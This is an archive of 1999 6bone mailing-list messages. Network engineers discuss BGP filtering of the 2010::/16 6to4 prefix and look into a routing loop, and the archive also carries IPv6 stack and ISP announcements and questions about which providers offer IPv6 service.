  nexthop: 3FFE:2900:1::1E from: 3FFE:2900:1::1E
    linklocal: FE80::200:81FF:FED5:805A Tunnel1
    weight 0
    AS path: 561 237 7081


Should it be deemed that the 2010::/16 block will be split up into
sub-delegations, I will allow up to /24 announcements. Currently, I only
allow the /16 through.


Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?

On Thu, 24 Jun 1999, Craig Metz wrote:

->In message <4D0A23B3F74DD111ACCD00805F31D810145153D2@RED-MSG-50>, you write:
->>I've started experimenting with connecting a 6to4 relay router to the 6bone.
->>(See http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-6to4-02.txt.)
->>
->>This means that the 2010::/16 prefix is now being advertised in the 6bone.
->>
->>However it appears that many sites are filtering this prefix. If you are
->>filtering, could you permit the 2010::/16 prefix?
->>
->>As a check, please try pinging 2010:836b:4179::836b:4179.
->
->  Is it possible to make the 6to4 translator appear under your legitimate
->prefix?
->
->  I don't think it's a good idea to let every "hey, I'm testing a new service,
->so please let me advertise a huge prefix" request happen; that will just lead
->us to a bad place.
->
->									-Craig
->


From 6bone-owner  Thu Jun 24 19:53:30 1999
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Date: Fri, 25 Jun 1999 12:53:14 +1000 (EST)
From: Carl Brewer <carl@bl.echidna.id.au>
Message-Id: <199906250253.MAA03501@oversteer.bl.echidna.id.au>
To: 6bone@ISI.EDU
Subject: anyone using the new Sun IPv6 patch and want to help a newbie? :)
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G'day,

I'm currently wrestling with Sun's latest IPv6 patch for SunOS 5.7
(patch 107788-01), and the doco is somewhat scant.  If anyone
else is using this stuff and wants to point me in the right 
direction (I have a tunnel through trumpet.com.au allocate, but
can't get it to work at the moment) I'd much appreciate some hints.

Once I get it up and running I want to put up an easy "how to"
webpage for setting up my config as a router and tunnel endpoint,
in particular how to drive in.ndpd!  (what doco?!!!)

Rather than me clogging your mailboxes with my config stuff, 
can anyone that wants to help drop me an email and we'll work from
there?

thankyou,

Carl

From 6bone-owner  Thu Jun 24 20:27:58 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'Craig Metz'" <cmetz@inner.net>
Cc: "'6bone'" <6bone@ISI.EDU>
Subject: RE: 2010::/16 filtering 
Date: Thu, 24 Jun 1999 20:21:23 -0700
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>   Is it possible to make the 6to4 translator appear under 
> your legitimate
> prefix?
> 
>   I don't think it's a good idea to let every "hey, I'm 
> testing a new service,
> so please let me advertise a huge prefix" request happen; 
> that will just lead
> us to a bad place.

6to4 has been accepted by the ngtrans WG as a valuable tool. There are
already two interoperating implementations that I know of. The logical next
step is to setup and start testing a 6to4 relay router. I think it makes
sense to do this using the real 6to4 prefix - otherwise we'll need a
transition from the temporary 6to4 prefix to the real 6to4 prefix. That
would be a bad place.

Rich

From 6bone-owner  Thu Jun 24 20:33:15 1999
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Date: Fri, 25 Jun 1999 13:33:02 +1000 (EST)
From: Peter Tattam <peter@jazz-1.trumpet.com.au>
To: 6bone@ISI.EDU, users@ipv6.org, deployment@ipv6.org, 6bone@trumpet.net
Subject: Trumpet Software International begins rollout of IPv6 services.
Message-ID: <Pine.BSF.3.96.990625131915.10399C-100000@jazz-1.trumpet.com.au>
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This message is not meant as marketing and will probably have little direct
impact on existng 6bone memebers, but instead serves to reiterate the
commitment that we here at Trumpet Software International have to the IPv6
project and the 6bone in general.  We feel that a strong and decisive step in
this direction will assist the acceleration of IPv6 services worldwide.

This press release has been distributed to the local media in Tasmania, one key
national paper (The Australian) and interested federal and state govt members
in Tasmania.

Peter


PRESS RELEASE


25th June 1999


Trumpet Software International Introduces IPv6 to Internet Users in Australia.
 
Trumpet Software International Pty. Ltd. based in Hobart is heralding a new era
for Internet users by introducing Australia's first Internet Service Provider
(ISP) using the new emergent standard in Internet Protocols known as the IPv6
protocol. 

The Federal Government, through their strategy of Building on IT Strengths,
aims to assist in funding next generation networks, support of digital
transmission trial test-beds and the development of international broadband R&D
links. What Trumpet has achieved is very much in line with this strategy and
attains a strong position to take full advantage of the new developments in
communications infrastructure. 

INTERNET  ADDRESSING
 
All addresses used in the Internet must be unique. With the present method of
address allocation, there is a finite limit that will be reached sooner rather
than later.  The problem is a bit like the millennium bug. Potentially a time
bomb waiting to go off. 
 
WHAT IS IPv6?
 
IPv6 is a replacement Internet Protocol that will enhance the ability to
sustain the continuous growth of the Internet, solving the IP address space
depletion dilemma and enhancing other properties that will eventually impact on
the viability of the Internet.  By the use of the IPv6 Addressing capability,
rather than the existing IPv4 protocol, the limit on addresses has been
extended from a theoretical 4 billion to 340 trillion, trillion, trillion
(3.4x10 (38) 
 
WHY HAVE IPv6?
 
IPv6 is more than an improved longer term addressing facility. It is also a
protocol that offers more scalable network architecture, improved security and
data integrity, improved quality of service and security enhancements. 
 
The 128 bit address space that IPv6 uses will allow businesses to deploy a
great array of new desktop, mobile and embedded network devices in a cost
effective, managed manner. The advanced auto configuration features will allow
automatic attachment of these devices to the network without the costs of
manual configuring. 
 
These features and the new IPv6 security features of encryption and
authentication services make the protocol very much an end user and business
concern. 

Other factors that are important in the Internet changes are the need for
effective scalable routing. This is the technique that enables the addresses of
all nodes or devices on the Internet to be located by a tree structure search
without the need to hold all addresses on key routers only. 

As a consequence of the existing 32 bit addressing architecture, the Ipv4
network regularly experiences small "tremors" when these key Internet routers
have difficulty in keeping up with the current network. 

The way that IPv6 assigns addresses will make this a lot more effective with a
minimum of human intervention. 
 
Consequently new devices can be configured in a simpler manner and existing
ones renumbered without any visible impact on the bulk of users. 
 
As with many new technical advances, networked business enterprises that invest
in IPv6 planning now will enhance their competitive advantage as the growth of
Internetworking proceeds. 
 
IPv6 as the standard for Internet Protocol or IP as set out by the Internet
Engineering Steering Group has been approved as far back as 1994. Most major
vendors such as Digital, Apple, HP, Novell and Sun have started to deliver IPv6
on desktop machines and servers. A wide range of support already exists for the
protocol. 
 
IPv6 is not just an address improvement, it introduces a completely fresh start
and structured hierarchy of routing that will replace the present chaotic
anomalies and liabilities. 
  
WHAT HAS TRUMPET DONE FOR IPv6 AND THE INTERNET?
 
Trumpet Software International Pty. Ltd. has established the first IPv6
Internet Service Provider (ISP) in Australia. This has been made possible by
the impending release of the Trumpet Winsock Version 5.0 product that is IPv6
compatible.  Trumpet is also the first pseudo Top Level Aggregate (pTLA) for
the 6bone in Australia. The 6bone is a virtual network for the testing of IPv6
technology that runs off the regular Internet.  This facility is rapidly
reaching production level status. The advances at Trumpet enable the Company to
provide 6bone connections to other organisations around the nation. 
 






--
Peter R. Tattam                            peter@trumpet.com
Managing Director,    Trumpet Software International Pty Ltd
Hobart, Australia,  Ph. +61-3-6245-0220,  Fax +61-3-62450210


From 6bone-owner  Thu Jun 24 22:58:33 1999
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To: Richard Draves <richdr@microsoft.com>
cc: 6bone@ISI.EDU
Subject: Re: 2010::/16 filtering 
In-reply-to: Your message of "Thu, 24 Jun 1999 20:21:23 PDT."
             <4D0A23B3F74DD111ACCD00805F31D810145153E3@RED-MSG-50> 
X-Copyright: Copyright 1999, Craig Metz, All Rights Reserved.
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Date: Fri, 25 Jun 1999 01:57:48 -0400
From: Craig Metz <cmetz@inner.net>
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In message <4D0A23B3F74DD111ACCD00805F31D810145153E3@RED-MSG-50>, you write:
>>   Is it possible to make the 6to4 translator appear under 
>> your legitimate
>> prefix?
>> 
>>   I don't think it's a good idea to let every "hey, I'm 
>> testing a new service,
>> so please let me advertise a huge prefix" request happen; 
>> that will just lead
>> us to a bad place.
>
>6to4 has been accepted by the ngtrans WG as a valuable tool. There are
>already two interoperating implementations that I know of. The logical next
>step is to setup and start testing a 6to4 relay router. I think it makes
>sense to do this using the real 6to4 prefix - otherwise we'll need a
>transition from the temporary 6to4 prefix to the real 6to4 prefix. That
>would be a bad place.

  Without some care to get the routing configuration done right, when that
second implementation's author wants to also advertise the prefix on the 6Bone,
bad things could happen. I'm no BGP wizard, but I think that it might be clever
to grab a private-use ASN and to advertise all instances of this special prefix
out of that ASN. Can someone who is more of a routing geek than I confirm or
refute this?

									-Craig

From 6bone-owner  Fri Jun 25 00:04:55 1999
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From: Robert Rockell <rrockell@sprint.net>
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To: Craig Metz <cmetz@inner.net>
cc: Richard Draves <richdr@microsoft.com>, 6bone@ISI.EDU
Subject: Re: 2010::/16 filtering 
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I think that it becomes irrelevant which 6to4 router you use, so
potentially, multiple people could announce the same prefix. If we adopt
some kind of rule whereby all pTLA's have a 6to4 router, we won't even have
to announce it at all. 
Brian, could you comment? I don't want to misinterpret the draft.

Thanks
Rob Rockell
Sprintlink Internet Service Center
Operations Engineering
703-689-6322
1-800-724-3329, PIN 385-8833
Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?

On Fri, 25 Jun 1999, Craig Metz wrote:

->In message <4D0A23B3F74DD111ACCD00805F31D810145153E3@RED-MSG-50>, you write:
->>>   Is it possible to make the 6to4 translator appear under 
->>> your legitimate
->>> prefix?
->>> 
->>>   I don't think it's a good idea to let every "hey, I'm 
->>> testing a new service,
->>> so please let me advertise a huge prefix" request happen; 
->>> that will just lead
->>> us to a bad place.
->>
->>6to4 has been accepted by the ngtrans WG as a valuable tool. There are
->>already two interoperating implementations that I know of. The logical next
->>step is to setup and start testing a 6to4 relay router. I think it makes
->>sense to do this using the real 6to4 prefix - otherwise we'll need a
->>transition from the temporary 6to4 prefix to the real 6to4 prefix. That
->>would be a bad place.
->
->  Without some care to get the routing configuration done right, when that
->second implementation's author wants to also advertise the prefix on the 6Bone,
->bad things could happen. I'm no BGP wizard, but I think that it might be clever
->to grab a private-use ASN and to advertise all instances of this special prefix
->out of that ASN. Can someone who is more of a routing geek than I confirm or
->refute this?
->
->									-Craig
->


From 6bone-owner  Fri Jun 25 06:22:50 1999
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From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <199906251322.GAA01709@boreas.isi.edu>
Subject: Re: 2010::/16 filtering
To: richdr@microsoft.com (Richard Draves)
Date: Fri, 25 Jun 1999 06:22:47 -0700 (PDT)
Cc: cmetz@inner.net ('Craig Metz'), 6bone@ISI.EDU ('6bone')
In-Reply-To: <4D0A23B3F74DD111ACCD00805F31D810145153E3@RED-MSG-50> from "Richard Draves" at Jun 24, 1999 08:21:23 PM
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> 
> >   Is it possible to make the 6to4 translator appear under 
> > your legitimate
> > prefix?
> > 
> >   I don't think it's a good idea to let every "hey, I'm 
> > testing a new service,
> > so please let me advertise a huge prefix" request happen; 
> > that will just lead
> > us to a bad place.
> 
> 6to4 has been accepted by the ngtrans WG as a valuable tool. There are
> already two interoperating implementations that I know of. The logical next
> step is to setup and start testing a 6to4 relay router. I think it makes
> sense to do this using the real 6to4 prefix - otherwise we'll need a
> transition from the temporary 6to4 prefix to the real 6to4 prefix. That
> would be a bad place.
> 
> Rich
> 

I think that there is a problem here w/ 6to4 and the subTLA drafts
taking the same TLA.  If this is correct, which would you prefer to keep?


-- 
--bill

From 6bone-owner  Fri Jun 25 07:38:51 1999
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To: Carl Brewer <carl@bl.echidna.id.au>
Cc: 6bone@ISI.EDU
Subject: Re: anyone using the new Sun IPv6 patch and want to help a newbie? :)
References: <199906250253.MAA03501@oversteer.bl.echidna.id.au>
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Carl Brewer <carl@bl.echidna.id.au> writes:
> I'm currently wrestling with Sun's latest IPv6 patch for SunOS 5.7
> (patch 107788-01), and the doco is somewhat scant.  If anyone
> else is using this stuff and wants to point me in the right 
> direction (I have a tunnel through trumpet.com.au allocate, but
> can't get it to work at the moment) I'd much appreciate some hints.

BTW, a lot of IPv6 users are subscribed to users@ipv6.org

The vision in creating it was so that 6bone could handle the "how to
deal with the 6bone" types of issues, and "users" could handle the "I
can't get my AIX box to do neighbor discovery" type questions...

Perry

From 6bone-owner  Fri Jun 25 08:14:58 1999
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From: "Patricio Latini" <platini@fibertel.com.ar>
To: <6bone@ISI.EDU>
References: <Pine.GSO.3.96.990625030305.15674D-100000@iscone>
Subject: Re: 2010::/16 filtering 
Date: Fri, 25 Jun 1999 12:14:05 -0300
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I thinks that in the inital stage of the 6to4 transalations each pTLA or sub
TLA should use a subnet his own prefix to do the tests..
and in a future all of us could adopt the common prefix to do the
translation. i think that kind of decitions should be talked by all the
6bone members.
----------------------------------------------------
Patricio Sebastián Latini
Network Administrator
Network Operations Center
Fibertel TCI2
Buenos Aires - Argentina
------------------------------------------------------

----- Original Message -----
From: Robert Rockell <rrockell@sprint.net>
To: Craig Metz <cmetz@inner.net>
Cc: Richard Draves <richdr@microsoft.com>; <6bone@ISI.EDU>
Sent: Friday, June 25, 1999 4:04 AM
Subject: Re: 2010::/16 filtering


> I think that it becomes irrelevant which 6to4 router you use, so
> potentially, multiple people could announce the same prefix. If we adopt
> some kind of rule whereby all pTLA's have a 6to4 router, we won't even
have
> to announce it at all.
> Brian, could you comment? I don't want to misinterpret the draft.
>
> Thanks
> Rob Rockell
> Sprintlink Internet Service Center
> Operations Engineering
> 703-689-6322
> 1-800-724-3329, PIN 385-8833
> Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?
>
> On Fri, 25 Jun 1999, Craig Metz wrote:
>
> ->In message <4D0A23B3F74DD111ACCD00805F31D810145153E3@RED-MSG-50>, you
write:
> ->>>   Is it possible to make the 6to4 translator appear under
> ->>> your legitimate
> ->>> prefix?
> ->>>
> ->>>   I don't think it's a good idea to let every "hey, I'm
> ->>> testing a new service,
> ->>> so please let me advertise a huge prefix" request happen;
> ->>> that will just lead
> ->>> us to a bad place.
> ->>
> ->>6to4 has been accepted by the ngtrans WG as a valuable tool. There are
> ->>already two interoperating implementations that I know of. The logical
next
> ->>step is to setup and start testing a 6to4 relay router. I think it
makes
> ->>sense to do this using the real 6to4 prefix - otherwise we'll need a
> ->>transition from the temporary 6to4 prefix to the real 6to4 prefix. That
> ->>would be a bad place.
> ->
> ->  Without some care to get the routing configuration done right, when
that
> ->second implementation's author wants to also advertise the prefix on the
6Bone,
> ->bad things could happen. I'm no BGP wizard, but I think that it might be
clever
> ->to grab a private-use ASN and to advertise all instances of this special
prefix
> ->out of that ASN. Can someone who is more of a routing geek than I
confirm or
> ->refute this?
> ->
> -> -Craig
> ->
>


From 6bone-owner  Fri Jun 25 11:45:47 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'Craig Metz'" <cmetz@inner.net>
Cc: 6bone@ISI.EDU
Subject: RE: 2010::/16 filtering 
Date: Fri, 25 Jun 1999 11:39:35 -0700
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>   Without some care to get the routing configuration done 
> right, when that
> second implementation's author wants to also advertise the 
> prefix on the 6Bone,
> bad things could happen. I'm no BGP wizard, but I think that 
> it might be clever
> to grab a private-use ASN and to advertise all instances of 
> this special prefix
> out of that ASN. Can someone who is more of a routing geek 
> than I confirm or
> refute this?

This is exactly the kind of thing I want to test.

Rich

From 6bone-owner  Fri Jun 25 12:06:23 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'Cyndi Jung'" <cmj@3com.com>, "'6bone'" <6bone@ISI.EDU>
Subject: RE: 2010::/16 filtering
Date: Fri, 25 Jun 1999 11:44:32 -0700
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This routing loop should be fixed now.

If anyone else can't reach 2010:836b:4179::836b:4179, please let me know.

Thanks,
Rich

> -----Original Message-----
> From: Cyndi Jung [mailto:cmj@3com.com]
> Sent: Thursday, June 24, 1999 3:17 PM
> To: Richard Draves; '6bone'
> Subject: Re: 2010::/16 filtering
> 
> 
> At 01:53 PM 6/24/99 -0700, Richard Draves wrote:
> >I've started experimenting with connecting a 6to4 relay 
> router to the 6bone.
> >(See 
> http://www.ietf.org/internet-drafts/draft-ietf-ngtrans-6to4-02.txt.)
> >
> >This means that the 2010::/16 prefix is now being advertised 
> in the 6bone.
> >
> >However it appears that many sites are filtering this 
> prefix. If you are
> >filtering, could you permit the 2010::/16 prefix?
> >
> 
> I don't know about filtering, but I run into a loop attempting to get
> to it:
> 
> 
> Welcome to the 3Com NETBuilder
> [1]TDC-ipv6 # trr6 2010:836b:4179::836B:4179
> TraceRoute to 2010:836B:4179::836B:4179/128
> TTL  Next Hop Address                              RTTs
> 1    3FFE:1900:5:1:200:81FF:FED5:805A/128        16 ms  16 ms  14 ms
> 2    3FFE:1C00::3/128                            86 ms  83 ms  85 ms
> 3    3FFE:1001:1:F004::2/128                     313 ms  327 
> ms  307 ms
> 4    3FFE:900:0:3::2/128                         115 ms  119 
> ms  113 ms
> 5    3FFE:1001:1:F004::2/128                     356 ms  359 
> ms  335 ms
> 6    3FFE:900:0:3::2/128                         150 ms  145 
> ms  148 ms
> 7    3FFE:1001:1:F004::2/128                     377 ms  374 
> ms  371 ms
> 8    3FFE:900:0:3::2/128                         183 ms  184 
> ms  192 ms
> 9    *
> 9    3FFE:1001:1:F004::2/128                     403 ms  *
> 10   3FFE:900:0:3::2/128                         271 ms  228 
> ms  249 ms
> 11   3FFE:1001:1:F004::2/128                     451 ms
>    
> 12   3FFE:900:0:3::2/128                         254 ms  250 ms  
> 13   3FFE:1001:1:F004::2/128                     850 ms  *
> 14   3FFE:900:0:3::2/128                         284 ms  * *
> 15   * * *
> 16   3FFE:900:0:3::2/128                               
> 
> Cyndi                                    
> 

From 6bone-owner  Fri Jun 25 18:37:44 1999
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Date: Fri, 25 Jun 1999 12:56:18 -0500
From: Brian E Carpenter <brian@hursley.ibm.com>
Organization: IBM Internet Division
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To: Robert Rockell <rrockell@sprint.net>
CC: Craig Metz <cmetz@inner.net>, Richard Draves <richdr@microsoft.com>,
        6bone@ISI.EDU
Subject: Re: 2010::/16 filtering
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What the draft says is that many relay routers may advertise
2010::/16 but that these advertisements should be limited
in scope by BGP policy. So yes, using an AS # is indicated
so that policies can be put in place. BGP mavens please apply
sanity checks to the new draft draft-ietf-ngtrans-6to4-02.txt

   Brian

Robert Rockell wrote:
> 
> I think that it becomes irrelevant which 6to4 router you use, so
> potentially, multiple people could announce the same prefix. If we adopt
> some kind of rule whereby all pTLA's have a 6to4 router, we won't even have
> to announce it at all.
> Brian, could you comment? I don't want to misinterpret the draft.
> 
> Thanks
> Rob Rockell
> Sprintlink Internet Service Center
> Operations Engineering
> 703-689-6322
> 1-800-724-3329, PIN 385-8833
> Ines|e gnyne qh vagr bz s|e Ino ngg una {e hgr bpu plxyne?
> 
> On Fri, 25 Jun 1999, Craig Metz wrote:
> 
> ->In message <4D0A23B3F74DD111ACCD00805F31D810145153E3@RED-MSG-50>, you write:
> ->>>   Is it possible to make the 6to4 translator appear under
> ->>> your legitimate
> ->>> prefix?
> ->>>
> ->>>   I don't think it's a good idea to let every "hey, I'm
> ->>> testing a new service,
> ->>> so please let me advertise a huge prefix" request happen;
> ->>> that will just lead
> ->>> us to a bad place.
> ->>
> ->>6to4 has been accepted by the ngtrans WG as a valuable tool. There are
> ->>already two interoperating implementations that I know of. The logical next
> ->>step is to setup and start testing a 6to4 relay router. I think it makes
> ->>sense to do this using the real 6to4 prefix - otherwise we'll need a
> ->>transition from the temporary 6to4 prefix to the real 6to4 prefix. That
> ->>would be a bad place.
> ->
> ->  Without some care to get the routing configuration done right, when that
> ->second implementation's author wants to also advertise the prefix on the 6Bone,
> ->bad things could happen. I'm no BGP wizard, but I think that it might be clever
> ->to grab a private-use ASN and to advertise all instances of this special prefix
> ->out of that ASN. Can someone who is more of a routing geek than I confirm or
> ->refute this?
> ->
> ->                                                                      -Craig
> ->

-- 
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Brian E Carpenter (IAB Chair)
Program Director, Internet Standards & Technology, IBM Internet Div
As of May 24, 1999: on assignment for IBM at http://www.iCAIR.org 
Non-IBM email: brian@icair.org



From 6bone-owner  Fri Jun 25 18:37:57 1999
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Date: Fri, 25 Jun 1999 13:06:02 -0500
From: Brian E Carpenter <brian@hursley.ibm.com>
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To: Richard Draves <richdr@microsoft.com>
CC: "'Bill Manning'" <bmanning@ISI.EDU>, 6bone@ISI.EDU
Subject: Re: 2010::/16 filtering
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Richard Draves wrote:
> 
> > > > Thats a bit much, don't you think?  It comprehends the entire
> > > > range ear-marked
> > > > for the IANA, the three RIRs and the reserved sub-TLA space.
> > >
> > > I don't follow you?
> > > 2010::/16 is just taking one TLA.
> > >
> > > Rich
> >
> > Isn't this the one earmarked for subtla assignment?
> 
> I have no idea. The 6to4 draft says to use TLA 0x0010 so that's what I'm
> using.

I though the sub-TLA prefix was 2001::/16. Bill please double check
this; it is rather confusing in the drafts due to the format
prefix being 3 bits long. 

To be clear the sub-TLA prefix is specified as
> > FP = 001
> > TLA ID = 0x0001
which I thought turns into 2001::/16. Tell me if I am confused.

  Brian



From 6bone-owner  Fri Jun 25 20:42:33 1999
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Date: Fri, 25 Jun 1999 22:30:40 -0500
From: Brian E Carpenter <brian@hursley.ibm.com>
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Bill,

> I think that there is a problem here w/ 6to4 and the subTLA drafts
> taking the same TLA.  If this is correct, which would you prefer to keep?

Since I'm on travel, I haven't seen your reply to my assertion that 
the subTLA draft allocates 2001::/16, but if I've got that wrong then 
6to4 will concede. The actual value doesn't matter in the least.

I was a bit taken aback (and pleased) by the rapid deployment; my
intention is to ask IANA formally for this technical allocation
to be made right after Oslo. 

   Brian



From 6bone-owner  Fri Jun 25 20:56:11 1999
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: 2010::/16 filtering
To: brian@hursley.ibm.com (Brian E Carpenter)
Date: Fri, 25 Jun 1999 20:56:06 -0700 (PDT)
Cc: richdr@microsoft.com (Richard Draves), bmanning@ISI.EDU ('Bill Manning'),
        6bone@ISI.EDU
In-Reply-To: <3773C50A.C5E5B2D2@hursley.ibm.com> from "Brian E Carpenter" at Jun 25, 1999 01:06:02 PM
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> Richard Draves wrote:
> > 
> > > > > Thats a bit much, don't you think?  It comprehends the entire
> > > > > range ear-marked
> > > > > for the IANA, the three RIRs and the reserved sub-TLA space.
> > > >
> > > > I don't follow you?
> > > > 2010::/16 is just taking one TLA.
> > > >
> > > > Rich
> > >
> > > Isn't this the one earmarked for subtla assignment?
> > 
> > I have no idea. The 6to4 draft says to use TLA 0x0010 so that's what I'm
> > using.
> 
> I though the sub-TLA prefix was 2001::/16. Bill please double check
> this; it is rather confusing in the drafts due to the format
> prefix being 3 bits long. 
> 
> To be clear the sub-TLA prefix is specified as
> > > FP = 001
> > > TLA ID = 0x0001
> which I thought turns into 2001::/16. Tell me if I am confused.
> 
>   Brian


You are right.  2001 is the subTLA space, 2010 is the 6to4 space.


--bill

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From: "Brig, Michael P." <brigm@spawar.navy.mil>
To: 6bone@ISI.EDU
Cc: "Charlow, Kevin" <charlowk@spawar.navy.mil>,
        "Byrnes, Robert"
	 <byrnesr@spawar.navy.mil>
Subject: What commercial ISPs currently provide IPv6 services or plan to i
	n the near future??
Date: Mon, 28 Jun 1999 09:56:45 -0400
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I know Trumpet Software International recently made a press statement that
it is commencing commercial IPv6 service. What other commercial ISPs also
provide IPv6 services today around the world? What ISPs plan to provide IPv6
services within the next 6 months?

thanks...

Michael P. Brig
USN SPAWAR System Center Charleston SC
843-974-4675
brigm@spawar.navy.mil

From 6bone-owner  Mon Jun 28 11:07:12 1999
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From: "Patricio Latini" <platini@fibertel.com.ar>
To: "Brig, Michael P." <brigm@spawar.navy.mil>, <6bone@ISI.EDU>
Cc: "Charlow, Kevin" <charlowk@spawar.navy.mil>,
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Subject: Re: What commercial ISPs currently provide IPv6 services or plan to in the near future??
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now we are giving Point to point conecction with ipv6 and within 3 month we
will give PPP dial limks over ipv6.
------------------------------------------------------
Patricio Sebastián Latini
Network Administrator
Network Operations Center
Fibertel TCI2
Buenos Aires - Argentina
------------------------------------------------------

----- Original Message -----
From: Brig, Michael P. <brigm@spawar.navy.mil>
To: <6bone@ISI.EDU>
Cc: Charlow, Kevin <charlowk@spawar.navy.mil>; Byrnes, Robert
<byrnesr@spawar.navy.mil>
Sent: Monday, June 28, 1999 10:56 AM
Subject: What commercial ISPs currently provide IPv6 services or plan to in
the near future??


> I know Trumpet Software International recently made a press statement that
> it is commencing commercial IPv6 service. What other commercial ISPs also
> provide IPv6 services today around the world? What ISPs plan to provide
IPv6
> services within the next 6 months?
>
> thanks...
>
> Michael P. Brig
> USN SPAWAR System Center Charleston SC
> 843-974-4675
> brigm@spawar.navy.mil


From 6bone-owner  Mon Jun 28 16:54:44 1999
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CC: 6bone@ISI.EDU, "Charlow, Kevin" <charlowk@spawar.navy.mil>,
        "Byrnes, Robert" <byrnesr@spawar.navy.mil>
Subject: Re: What commercial ISPs currently provide IPv6 services or plan to in 
 the near future??
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"Brig, Michael P." wrote:

> I know Trumpet Software International recently made a press statement that
> it is commencing commercial IPv6 service. What other commercial ISPs also
> provide IPv6 services today around the world? What ISPs plan to provide IPv6
> services within the next 6 months?
>
> thanks...
>
> Michael P. Brig
> USN SPAWAR System Center Charleston SC
> 843-974-4675
> brigm@spawar.navy.mil

>From personal experience, I am aware of quite a few australian ISP's that have
at least one experimental IPv6 box kicking around, and usually a small
cluster...but damned if anyone's using them for anything :/

D




From 6bone-owner  Tue Jun 29 11:37:28 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'IPng List'" <ipng@sunroof.eng.sun.com>
Cc: "'6bone'" <6bone@ISI.EDU>,
        "'MSR IPv6 Users'"
	 <msripv6-users@list.research.microsoft.com>
Subject: MSR IPv6 Release 1.3
Date: Tue, 29 Jun 1999 11:07:42 -0700
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Microsoft Research and ISI East are pleased to announce Release 1.3 of our
MSR IPv6 stack for Windows NT. See http://www.research.microsoft.com/msripv6
for more details and download information.

The main highlights:

- IPsec support for all combinations of AH & ESP headers, both
transport-mode and tunnel-mode. Note that we only support static keying and
we only support authentication algorithms, not encryption algorithms.

- 6to4 support. See http://www.research.microsoft.com/msripv6/docs/6to4.htm.
In the future we'll automate 6to4 configuration, with a little configuration
applet.

- The usual miscellaneous enhancements and fixes, especially for routing.

To support developers, we're also doing daily source drops. Send email to
msripv6-bugs@list.research.microsoft.com to request more information about
the daily source drops. See
http://list.research.microsoft.com/archives/msripv6-users.html to join our
discussion list or search the archives.

Thanks,
Rich

From 6bone-owner  Tue Jun 29 13:37:04 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'6bone'" <6bone@ISI.EDU>
Subject: pTLAs missing in action
Date: Tue, 29 Jun 1999 13:35:24 -0700
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Does anyone know of any active nodes with addresses belonging to the
following prefixes:

	3ffe:800::/24 (ISI-LAP)
	3ffe:d00::/24 (ANSNET)
	3ffe:e00::/24 (IFB)
	3ffe:1500::/24 (UO)
	3ffe:1600::/24 (NUS-IRDU)
	3ffe:1700::/24 (MREN)
	3ffe:1f00::/24 (NETCOM-UK)
	3ffe:2700::/24 (ERA)
	3ffe:2d00::/24 (GRNET)
	3ffe:3000::/24 (AMS-IX)
	3ffe:3500::/24 (REGIO-DE)
	3ffe:3700::/24 (ABILENE)
	3ffe:3800::/24 (FIBERTEL)
	3ffe:8010::/28 (ICM-PL)
	3ffe:8020::/28 (IIJ)
	3ffe:8030::/28 (QTPVSIX)

Either I can't find any DNS names associated with them in the 6bone
registry, or the DNS names that I do find do not resolve.

Thanks,
Rich

From 6bone-owner  Tue Jun 29 15:16:15 1999
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To: Dancer <dancer@zeor.simegen.com>,
        "Brig, Michael P." <brigm@spawar.navy.mil>
From: Cyndi Jung <cmj@3com.com>
Subject: Re: What commercial ISPs currently provide IPv6 services or
  plan to in  the near future??
Cc: 6bone@ISI.EDU, "Charlow, Kevin" <charlowk@spawar.navy.mil>,
        brigm@spawar.navy.mil, byrnesr@spawar.navy.mil, users@ipv6.org,
        deployment@ipv6.org
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Maybe you could help linking those ISPs with those people that might be
looking for them.  Do you have names of these ISPs?  Perhaps those ISPs
have URLs to make it possible for people in their region to get more
information about their IPv6 service offering?

I have heard that Japan has some ISPs offering IPv6 - if anybody
has any useable pointers for them it would be helpful too.

Perhaps URLs for these ISPs with IPv6 service could be added to the
information on the IPv6 websites.


Cyndi

At 09:54 AM 6/29/99 +1000, Dancer wrote:
>"Brig, Michael P." wrote:
>
>> I know Trumpet Software International recently made a press statement that
>> it is commencing commercial IPv6 service. What other commercial ISPs also
>> provide IPv6 services today around the world? What ISPs plan to provide
IPv6
>> services within the next 6 months?
>>
>> thanks...
>>
>> Michael P. Brig
>> USN SPAWAR System Center Charleston SC
>> 843-974-4675
>> brigm@spawar.navy.mil
>
>>From personal experience, I am aware of quite a few australian ISP's that
have
>at least one experimental IPv6 box kicking around, and usually a small
>cluster...but damned if anyone's using them for anything :/
>
>D
>
>
>
>

From 6bone-owner  Tue Jun 29 16:21:29 1999
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From: Richard Draves <richdr@microsoft.com>
To: "'Wim Biemolt'" <Wim.Biemolt@ipv6.surfnet.nl>
Cc: "'6bone'" <6bone@ISI.EDU>
Subject: RE: pTLAs missing in action
Date: Tue, 29 Jun 1999 16:10:39 -0700
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> $ host -t aaaa amsterdam9.ipv6.ams-ix.net DNS1.microsoft.com
> amsterdam9.ipv6.ams-ix.net      AAAA    
> 3FFE:3000:0:0:200:CFF:FE37:56F9

Thanks, I can ping that address.

And now I can also lookup that name. Hmm. I was groveling through the
database by hand, I don't remember if I accidentally skipped that host or it
was failing previously.

Rich

From 6bone-owner  Tue Jun 29 16:24:40 1999
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From: "Patricio Latini" <platini@fibertel.com.ar>
To: "Richard Draves" <richdr@microsoft.com>, "'6bone'" <6bone@ISI.EDU>
References: <4D0A23B3F74DD111ACCD00805F31D8101451543D@RED-MSG-50>
Subject: Re: pTLAs missing in action
Date: Tue, 29 Jun 1999 20:20:46 -0300
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richar i think that there is a routing problem between digital ca and your
ptla
------------------------------------------------------
Patricio Sebastián Latini
Network Administrator
Network Operations Center
Fibertel TCI2
Buenos Aires - Argentina
------------------------------------------------------

----- Original Message -----
From: Richard Draves <richdr@microsoft.com>
To: '6bone' <6bone@ISI.EDU>
Sent: Tuesday, June 29, 1999 5:35 PM
